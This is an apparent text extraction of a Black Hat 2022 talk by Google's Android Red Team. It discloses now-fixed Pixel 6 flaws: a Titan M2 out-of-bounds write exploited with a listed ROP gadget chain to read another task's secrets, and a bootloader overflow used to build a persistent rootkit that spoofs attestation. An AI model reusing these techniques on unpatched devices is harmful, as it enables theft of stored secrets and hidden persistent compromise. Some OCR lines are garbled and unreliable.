

# Google Reimagined a Phone. It's Our Job to Red Team & Secure it



Xuan Xing



Eugene Rodionov



Christopher Cole



Farzan Karimi





- Who We Are
- What's Our Scope
- How We Help Secure Android & Pixel
- Pixel 6 Attack Surface
- Proof of Concept Deep Dives
  - Titan M2
  - Android Bootloader
- Concluding Thoughts



#### [Everything in this presentation has been fixed]

## Who We Are

# 



**#BHUSA @BlackHatEvents** 



### Android Red Team



We are the **eyes of Android Security**: Increase Pixel and Android security by attacking key components and features, identifying critical vulnerabilities before adversaries

Offensive Security Reviews to verify (break) security assumptions

Scale through tool development (e.g. continuous fuzzing)

Develop PoCs to demonstrate real-world impact

Assess the efficacy of security mitigations

We hack ourselves to make it harder for others!



### What's Our Scope?





Information Classification: General



### How Do We Secure Android & Pixel?





### Red Team Attack Approaches



# Pixel Hardware Journey





### **Pixel Hardware Journey**



**#BHUSA @BlackHatEvents** 

Information Classification: General



### Mobile Phone Vulnerability Trends

#### Vulnerability trends are moving down the stack\*

\* Pyramid represents vulnerability trend direction, not attack surface size





Information Classification: General

#### **Vulnerability Payouts**



# Pixel Attack Surface



### Red Teaming Pixel 6



LEGEND

# Titan M2 Code Execution





### Titan M2 Overview

#### **Titan M2 Overview**

#### Discrete security component - element of Pixel 6 with Based on custom RISC-V architecture the highest level of security assurances on the device (including resistance to physical attacks)

Provides critical security services: hardware-based key storage, Android Verified Boot, Attestation services

Redesigned operating system on Titan M2

Titan M<sup>1</sup> vs Titan M2



### Titan M2 Attack Surface





### What makes Titan M2 More Secure?





Pros

Cons

### **Fuzzing Approaches**

#### Host-based Fuzzing

Port subset of Titan firmware to x86 32-bit arch

#### - Takes advantage of existing fuzzing tools for x86 architecture (ASan, libFuzzer, gdb)

- Good fuzzing performance

#### - False-positives

- Missing coverage

#### Emulator-based fuzzing

Use a full-system emulator to fuzz the target

- Comprehensive coverage of the target
- Support of all the peripherals
- No false-positives
- Missing fuzzing code instrumentation (ASan, fuzzing code coverage)
- Slow fuzzing performance







### **Fuzzing Outcomes**

#### In total 3 fuzzers were developed to cover Titan M2 firmware:

- libprotobuf-mutator host-based fuzzer

- ASN-parsing host-based fuzzer

- libprotobuf-mutator emulator-based fuzzer

#### Fuzzing performance & coverage:

- Emulator-based fuzzer: on average **5 test cases per second** 

- Host-based fuzzers: on average **~200 times faster** than emulator-based approach

- Host-based and emulator-based fuzzers discovered relatively disjoint set of issues

#### **Fuzzing challenges:**

- Most of the tasks (especially Keymaster and Identity) implement stateful code

- Difficult to reach for the fuzzers
- Hard to reproduce issues when fuzzing in persistent mode
- Obstacles for fuzzing Keymaster due to the crypto code



#### • OOB write in globals in eicPresentationPushReaderCert

```
bool eicPresentationPushReaderCert(...) {
    // ...
    ctx->readerPublicKeySize = publickey_length;
    // sizeof(ctx->readerPublicKey) == 65
    // publickey_length < 1024
    memcpy(ctx->readerPublicKey, publickey, publickey_length);
    return true;
}
Exploitation:
    out the undeershilts to load sheep buffer and
    //
```

- Use the vulnerability to load cbor.buffer and cbor.bufferSize with attacker-controlled values
- Invoke eicCborAppendString cbor.buffer number of cbor.bufferSize attacker-controlled bytes
- This enables code execution in Identity task only
  - Titan implements task isolation
    - cannot access other tasks' memory

```
Global variables of Identity task:
. . .
/* Starting address of the overflow */
/*0x0000*/ readerPublicKey;
/*0x0044*/ readerPublicKeySize;
. . .
/*0x00a0*/ cbor.size;
/*0x00a4*/ cbor.bufferSize; <=== overwritten by attacker</pre>
. . .
/*0x0164*/ cbor.buffer;
                              <=== overwritten by attacker</pre>
. . .
```

**#BHUSA** @BlackHatEvents





USA 2022

# **blackhat** Exfiltrating Weaver's secrets from Titan M2

- Exfiltrate Weaver's secrets stored in the secure file system:
  - Weaver provides secure storage for user/platform secrets
  - Throttles consecutive failed verification attempts
- Use OOB write in globals to gain code execution in Titan M2:
  - ROP shellcode running a sequence of arbitrary syscalls





### Titan Shellcode: Script

- Each task in Titan M2 has access to a dedicated file system:
  - Every task has an isolated file system on the secure flash
  - Titan M2 kernel provides syscalls to access the tasks' file system
  - Identity task cannot read/write Weaver's files

- Titan M2 kernel provides syscalls for raw access to the secure flash (e.g. flash\_map\_page):
  - Syscalls are subject to ACL checks
  - The Identity task is able to access these syscalls due to a gap in ACL policy (the gap has been fixed)
  - Thus, the attacker is able to read/write flash and parse the file system objects

```
// map the target flash page into memory
void *page_ptr;
flash_map_page(..., &page_ptr); (1)
```

// allocate a shared memory region to send the response to AP
struct task\_response scs;
cmd\_alloc\_send(&scs, ...); (2)

```
// copy flash contents into the shared memory region
memcpy(scs.response_buffer, page_ptr, 2048);
```

```
// This forces Titan M2 to go into sleep state.
// Use this function to prevent crashing Titan M2: once
// it comes out of sleep the identity app will be restarted
// and we can start over.
usleep(...);
(4)
```

### **black hat** Titan Shellcode: Finding ROP gadgets

Gadget #1: load values of saved registers s0-s8 and ra from stack

.text:000A44BE	lw	<pre>ra, 8+var_s24(sp)</pre>
.text:000A44C0	lw	<pre>s0, 8+var_s20(sp)</pre>
.text:000A44C2	lw	<pre>s1, 8+var_s1C(sp)</pre>
.text:000A44C4	lw	<pre>s2, 8+var_s18(sp)</pre>
.text:000A44C6	lw	<pre>s3, 8+var_s14(sp)</pre>
.text:000A44C8	lw	<pre>s4, 8+var_s10(sp)</pre>
.text:000A44CA	lw	<pre>s5, 8+var_sC(sp)</pre>
.text:000A44CC	lw	<pre>s6, 8+var_s8(sp)</pre>
.text:000A44CE	lw	<pre>s7, 8+var_s4(sp)</pre>
.text:000A44D0	lw	<pre>s8, 8+var_s0(sp)</pre>
.text:000A44D2	addi	sp, sp, <mark>30</mark> h
.text:000A44D4	ret	



#### Gadget #4: start over

.text:000A81A4	lw	<pre>ra, 20h+var_4(sp)</pre>
.text:000A81A6	lw	s0, 20h+var_8(sp)
.text:000A81A8	addi	sp, sp, <mark>20</mark> h
.text:000A81AA	ret	



**Gadget #3**: invoke target syscall (register a0 contains syscall number)

.text:000C5922	mv	<mark>a0</mark> , s0
.text:000C5924	j	loc_C590E
.text:000C590E	lw	<pre>ra, 4+var_s8(sp)</pre>
.text:000C5910	lw	s0, 4+var_s4(sp)
.text:000C5912	lw	<pre>s1, 4+var_s0(sp)</pre>
.text:000C5914	addi	sp, sp, <mark>10</mark> h
.text:000C5916	ret	

**Gadget #2:** initialize argument registers a1-a3 using saved registers

	.text:000B920C	mv	a7, s8
	.text:000B920E	mv	<mark>a2</mark> , s4
	.text:000B9210	mv	<mark>a3</mark> , s1
	.text:000B9212	mv	<mark>a0</mark> , s6
	.text:000B9214	mv	<mark>a1</mark> , s5
>	.text:000B9216	jal	eicOpsValidateAuthToken
	.text:000B921A	beqz	a0, loc_B91CC
	.text:000B921C	SW	s6, <u>60h</u> (s0)
	.text:000B9220	SW	s5, 64h(s0)
	.text:000B9224	SW	s4, <u>68h</u> (s0)
	.text:000B9228	SW	s1, 6Ch(s0)
	.text:000B922A	SW	s8, 70h(s0)
	.text:000B922E	SW	s7, 74h(s0)
	.text:000B9232	SW	s2, 78h(s0)
	.text:000B9236	SW	s3, 7Ch(s0)
	.text:000B923A	j	loc_B91CE
	.text:000B91CE	loc_B91CE:	
	.text:000B91CE	lw	<pre>ra, 38h+var_s24(sp)</pre>
	.text:000B91D0	lw	<pre>s0, 38h+var_s20(sp)</pre>
	.text:000B91D2	lw	<pre>s1, 38h+var_s1C(sp)</pre>
	.text:000B91D4	lw	<pre>s2, 38h+var_s18(sp)</pre>
	.text:000B91D6	lw	s3, <u>38h</u> +var_s14(sp)
	.text:000B91D8	lw	s4, <u>38h</u> +var_s10(sp)
	.text:000B91DA	lw	<pre>s5, 38h+var_sC(sp)</pre>
	.text:000B91DC	lw	s6, <u>38h</u> +var_s8(sp)
	.text:000B91DE	lw	s7, <u>38h</u> +var_s4(sp)
	.text:000B91E0	lw	s8, <u>38h</u> +var_s0(sp)
	.text:000B91E2	addi	sp, sp, 60h
	.text:000B91E4	ret	



### Code Execution in Titan M2: Demo





#### All identified issues in Titan M2 are mitigated!

Fuzzers continuously run internally on ClusterFuzz.

# Android BootLoader (ABL) Code Execution





### Android Bootloader (ABL)





### Android ABL Overview

Important in Android boot chain	Bigger attack surface
Lockdown security configurations before kernel is loaded	Recovery interface is a historic source of security issues
AVB implementation	Dealing with arbitrary user input via fastboot implementation
Android kernel loading	Updating/verifying Android boot configurations
Recovery environment (fastboot)	Kernel signature verification and loading



### **ABL Code Execution**

#### • Evaluation approaches

• Manual code review

#### • Vulnerabilities

- CVE-2021-39645: Heap OOB write in gpt\_load\_gpt\_data
- CVE-2021-39684: Incorrect configured RWX region in ABL

#### • Prerequisites

- Write access to /dev/block/by-name/sd{a-d} devices
- Needs root privilege or extensive physical access



### Missing Size Check $\Rightarrow$ OOB Write!

#### Pseudo code:

```
int gpt load gpt data() {
    . . .
    gpt header t hdr;
    if (!io read(&hdr)) { return -1; }
    if (hdr.entry count > MAX ENTRY COUNT) { return -1; }
    gpt entries = (gpt entry t*)malloc(sizeof(gpt entry t) *
MAX ENTRY COUNT);
    size_t size = hdr.entry_count * hdr.entry_size;
    if (!io read(gpt entries, size)) { return -1;}
    . . .
    return 0;
```

```
typedef struct {
    ...
    uint32_t entry_count;
    uint32_t entry_size;
    ...
} gpt_header_t;
typedef struct {
    ...
} gpt_entry_t;
```



### Exploiting ABL OOB Write Issue





### **ABL Code Execution**

#### • Impact

- Arbitrary code execution in the context of bootloader at EL1 (Non-Secure)
- Full persistence on the vulnerable device for the privileged attacker (persistent rooting of Pixel
   6)
  - Survives reboots and even OTA updates
- The device runs the malicious kernel while attestation services believe the platform's integrity is not violated
  - The exploitation happens before Keymaster is initialized (both on Trusty side and on Titan M2)
  - The exploit can spoof AVB measurements (i.e. boot hash, OS patch level, unlock status)
- Malicious kernel can use Keymaster-protected secrets



### Demo: ABL Rootkit

🗯 Terminal Shell Edit View Window	Help	0	6	G	<b>E</b> (	•	Q	😫 Т	ue Oct 12 6:31 PM
•••	Terminal — -zsh — 102×31								
(bootloader)									
(bootloader)	• @@@@(	99 <b>(</b>							
(bootloader)	/@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@	00000000							
(bootloader)	000000000000000000000000000000000000000	0000000000							
(bootloader)	0000000	000000							
(bootloader)	000000.	00000							
(bootloader)	000000	%0000%							
(bootloader)	000000	00000							
(bootloader)	000000	0000							
(bootloader)	00000	000							
(bootloader)	000000	00000							
(bootloader) 000000	000000000000000000000000000000000000000								
(bootloader) 000000	000000000000000000000000000000000000000								
(bootloader) 000000	000000000000000000000000000000000000000								
(bootloader) 000000									
(bootloader) 000000	0000000000 0000000000000000000000000000								
(bootloader) 000000	pooooooooooooooooooooooooooooooooooooo								
(bootloader) 000000	00000000000 (00000000000000000000000000								
(bootloader) 000000	000000000000000000000000000000000000000								
(bootloader) 000000	000000000000000000000000000000000000000								
(bootloader) 000000	<u> </u>								
(bootloader) 0000	66666666666666666666666666666666666666								
(bootloader)									
(bootloader)									
(bootloader) ASA Red lea	am ABL Rootkit usage:								
(bootloader)									
(bootloader) fastboot of	em rootkit read_mem <address></address>								
(bootloader) fastboot oem rootkit patch_mem <address> <value></value></address>									
Finished. lotal time: 0.	.1/15								



#### Demo: ABL Rootkit



# **black hat** Mitigation for the ABL Code Execution

- CVEs used:
  - ABL OOB write: CVE-2021-39645 High
  - ABL RWX memory configuration: CVE-2021-39684 High
- Patch release date: December 2021

# Conclusion





### **Concluding Thoughts**

#### **Red Team to Secure Pixel**

#### Fuzzing bare-metal != easy

#### Your Pixel 6 is Secure

Findings help make Pixel more secure

Red Team + SDL Integration

#### Invest in Continuous Fuzzing

**Fuzzers continuously run** on centralized infrastructure and discover new issues

This helps us scale

HAL and good compartmentalization makes fuzzing low-level code easier

#### **Mitigations**

Several of the targets evaluated in this review were missing mitigations: ASLR, CFI, etc. Pixel 6 is the most secure Pixel yet

Finding **bugs are normal** 

**Transparency** is good; community grows from knowledge sharing

Many Google teams came together to **prioritize remediation** 

We're never done! The team continues testing new features prior to release

# Thank You!

# CIORCUD RED TEQR

Questions?